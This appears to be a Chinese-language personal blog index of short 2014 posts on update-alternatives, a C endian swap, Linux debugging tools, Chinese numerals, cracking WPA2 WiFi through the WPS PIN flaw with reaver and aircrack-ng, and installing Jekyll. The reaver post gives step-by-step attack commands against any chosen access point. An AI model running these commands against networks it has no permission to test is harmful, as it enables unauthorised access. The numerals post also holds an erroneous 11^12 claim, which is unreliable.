Ubuntu: update-alternatives command

Posted by lazybugg at 2014-03-27 with tags Ubuntu, update-alternatives

update-alternatives 命令

如果安装了同一个软件的不同版本,可以使用update-alternatives命令设置默认使用哪个版本,典型的如在Ubuntu 12.04里安装了gcc-4.6gcc-4.8,想让gcc命令自动使用4.8版。


安装g++-4.8后,将其设置为默认。gcc同理

# 首先要让系统知道我们安装了多个版本的g++
# 命令最后的 20和50是优先级,如果使用auto选择模式,系统将默认使用优先级高的
sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-4.6 20
sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-4.8 50

# 使用交互方式的命令选择默认使用的版本
sudo update-alternatives --config g++ 

# 其他命令:
#	查询系统中安装有哪些版本
sudo update-alternatives --query g++

参考

  • man 8 update-alternatives
Top

Code Trick: swap float using union

Posted by lazybugg at 2014-03-25 with tags trick, c

精彩代码:交换float的endian

使用C语言Union交换float的各字节(转换endian)。来自http://www.gamedev.net/page/resources/_/technical/game-programming/writing-endian-independent-code-in-c-r2091


float FloatSwap( float f )
{
  union
  {
    float f;
    unsigned char b[4];
  } dat1, dat2;

  dat1.f = f;
  dat2.b[0] = dat1.b[3];
  dat2.b[1] = dat1.b[2];
  dat2.b[2] = dat1.b[1];
  dat2.b[3] = dat1.b[0];
  return dat2.f;
}
Top

Self service Linux: Mastering the Art of Problem Determination Reading Notes

Posted by lazybugg at 2014-03-22 with tags Linux, debug

Self service Linux 读书笔记

作者:Mark Wilding and Dan Behman 出版日期:2005.9

简介摘要:

In a nutshell, this book is about effectively and efficiently diagnosing problems that occur in the Linux environment. It covers good investigation practices, how to use the information and resources on the Internet, and then dives right into detail describing how to use the most important problem determination tools that Linux has to offer. Ultimately, as Linux increases in popularity, there are many seasoned experts who are facing the challenge of translating their knowledge and experience to the Linux platform. Many are already experts with one or more operating systems except that they lack specific knowledge about the various command line incantations or ways to interpret their knowledge for Linux. This book will help such experts to quickly adapt their existing skill set and apply it effectively on Linux.


第1章

需要安装的软件:

  • strace : 跟踪系统调用
  • ltrace : 跟踪函数调用(与strace类似,但更详细)
  • lsof : lists open files
  • top : list running process
  • traceroute/tcptraceroute : 跟踪网络路由
  • ping : 测试网络连通性
  • hexdump或类似软件 : 以16进制显示文件内容
  • tcpdump和/或ethereal : display packets of network traffic
  • GDB : 调试器
  • readelf : 显示ELF格式可执行文件信息

这些工具(还有更多)都列在附录A中。

Top

Wikipedia: Chinese numerals 中国数字

Posted by lazybugg at 2014-03-14 with tags wiki

维基百科:中国数字

比在课本上学到的还详细啊。

Ref: http://en.wikipedia.org/wiki/Chinese_numerals


  1. 关于中国数字,wikipedia知道的比语文书上教的多的多,比如幺、两、廿、卅、卌、零、〇、洞、刀、拐、勾。
  2. 壹、贰、叁、肆、伍、陆、柒、捌、玖、拾、佰、仟、萬、億,这些就不说了,繁体中文可能有不同的写法。
  3. 我终于知道洞幺是怎么回事了。
  4. 亿、兆以后是京、垓、秭、穰、沟、涧、正、载,这些是6世纪的《五经算书》发明的(不过那里后一个是前一个的10倍)。
  5. 政府公文不使用兆表示MegaBytes字节而使用万亿以免混淆。台湾政府公文使用兆表示 \( 11^{12} \) 。
  6. 的数字,比如“不可思议”表示\( 10^{64} \)(囧),“极”表示\( 10^{48} \),“无量“表示\(10^{68}\)
  7. 古代极小量的表示,比如涅槃寂静(\(10^{-24}\)),虚空(\(10^{-20}\)),刹那(\(10^{-18}\)),弹指(\(10^{-17}\)),瞬息(\(10^{-16}\)),须臾(\(10^{-15}\)),模糊(\(10^{-13}\)),\(10^{-11}\)至\(10^{-1}\)分别是:渺、埃、尘、沙、纤、微、忽、丝、毫、厘、分(总算看到熟悉的了)
  8. 大陆和台湾对SI前缀翻译选择不同。
  9. 还介绍了不同方言(普通话、粤语、广东话、潮州话、上海话)读数字的方式,看完它的介绍,外国人就会以中文的方式读数字了(当然得会汉字的发音)
  10. 苏州码子:古代用于数学与商业。
  11. 手势(未详细介绍,很想了解)
  12. 筹(不太了解,查现代汉语词典时遇见过):汉朝至16世纪在数学家、商人,天文学家中广泛使用,用于计算。
  13. 阿拉伯数字在明清时期传入我国,清朝后,在数学书写中它取代了中国数字(Chinese numerals)和苏州码子。
  14. 繁体中文的中国数字也在日本和韩国及20世纪前的越南使用。
Top

Creak WPA2 WiFi password with reaver under Ubuntu

Posted by lazybugg at 2014-03-08 with tags Ubuntu, software, creak

使用reaver破解WPA2保护的WiFi密码

大部分路由器存在WPS(WiFi Protected Setup)漏洞,利用这个漏洞,只需最多尝试11000(4位数字+3位数字)个密码组合就可以破解出WPS registrar PIN密码,有了这个PIN密码就可以获得WiFi的密码了,也可以更改WiFi设置。reaver官网说破解需要的时间是4-10小时,依据WiFi信号强弱而定。


安装 aircrack-ng

sudo apt-get install libssl-dev
wget http://download.aircrack-ng.org/aircrack-ng-1.2-beta2.tar.gz
tar -xzf aircrack-ng-1.2-beta2.tar.gz
cd aircrack-ng-1.2-beta2
make
sudo make install

注:aircrack的官网被墙 参考:http://answertohow.blogspot.in/2012/10/how-to-install-aircrack-ng-on-ubuntu.html

安装 reaver

sudo apt-get install libpcap-dev libsqlite3-dev iw
wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz
tar -xzf reaver-1.4.tar.gz
cd reaver-1.4/src
./configure
make
sudo make install

注:在reaver-1.4/docs里有关于reaver原理和WPS漏洞的说明 参考:http://answertohow.blogspot.in/2012/11/how-to-install-reaver-on-ubuntu.html

开始破解

将无线网卡设置为“监视”模式

sudo airmon-ng start wlan0

找到要破解的WiFi热点的BSSID

sudo airodump-ng mon0

按Ctrl + C 退出。从上面命令的输出可以找到要破解WiFi热点的BSSID,还可以确认其使用的加密方式是WPA/WPA2(在ENC这一列)。

启动reaver开始破解

reaver -i mon0 -b aa:bb:cc:dd:ee:ff -vv | tee crack.log

其中 aa:bb:cc:dd:ee:ff 换成上面得到的BSSID。然后就是祈祷了。


参考:

====== Update:

沮丧,尝试破解自己的Wifi和另一个Wifi,均未成功。

Top

Install jekyll github page in Ubuntu 12.04

Posted by lazybugg at 2014-03-01 with tags Ubuntu, Github, Software

在Ubuntu 12.04下安装jekyll github page 写博客

注:要在github page写博客,首先要建好以你的github用户名+”github.io”为名的特殊repository。本文假设你已经建好了这个repository。


jekyll 是用ruby写的,因此需要先安装ruby和相关的软件。

安装ruby

ruby的版本需要>= 1.9.3或者2.0.0,Ubuntu 12.04 源里的ruby版本比这个低,我使用rvm来安装最新的ruby。

  • 下载安装 rvm
\curl -sSL https://get.rvm.io | bash
  • 查看有哪些版本的ruby可以安装
rvm list knwon
  • 根据上面列出的ruby版本,选一个满足要求的版本安装,我安装的是2.1.1
rvm install 2.1.1 -C --with-iconv-dir=$HOME/.rvm,--with-readline

这个步骤中如果 apt-get update 命令执行不成功,安装将会失败。

至此,就安装好了ruby。

安装 Bundler

它是一个包管理器,用于管理Jekyll

gem install bundler

正题:安装 Jekyll

在你的博客版本库的根目录下(本博客是ssendeavour.github.io这个目录)创建一个名为Gemfile的文件,文件内容为:

source 'https://rubygems.org'
gem 'github-pages'

然后在同一目录运行命令

bundle install

经过一连串的Installing屏显,jekyll 就安装好了,接下来就可以运行jekyll了。

运行 jekyll 服务器

bundle exec jekyll serve -w

现在打开浏览器,输入地址127.0.0.1:4000,就能看到你的博客已经运行起来啦。

更新 jekyll

Github page 服务器上的jekyll是随时更新的,所以我们自己电脑上的jekyll也要与github服务器上的版本一致,以免出现问题。

更新jekyll的命令

bundle update

mathjax/LaTeX

需要先加载 mathjax.js,官方教程http://docs.mathjax.org/en/latest/start.html

  • displayed mathematicas: $$ .. $$ or \\[ .. \\]
  • inline mathematics: \\( .. \\), note: $ .. $ is not enabled by default.

这样,jekyll就安装好了,后续的配置还请Google,别人写了很多了。

其实这份教程是写给我自己的,重装系统后我的配置文件都可以用git clone 从github 上同步下来,所以现在我不需要关系怎样配置了,只需要按上面的步骤把jekyll安装到电脑里就可以开始写博客了。


参考资料: - https://help.github.com/articles/using-jekyll-with-pages - http://jekyllrb.com/docs/templates/

Top